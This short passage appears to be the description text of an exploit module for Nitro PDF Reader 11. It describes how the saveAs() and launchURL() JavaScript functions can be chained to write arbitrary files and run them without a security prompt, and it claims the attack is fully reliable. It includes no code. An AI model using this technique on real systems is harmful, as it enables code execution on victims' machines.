          This module exploits an unsafe Javascript API implemented in Nitro and Nitro Pro
          PDF Reader version 11. The saveAs() Javascript API function allows for writing
          arbitrary files to the file system. Additionally, the launchURL() function allows
          an attacker to execute local files on the file system and bypass the security dialog

          Note: This is 100% reliable.
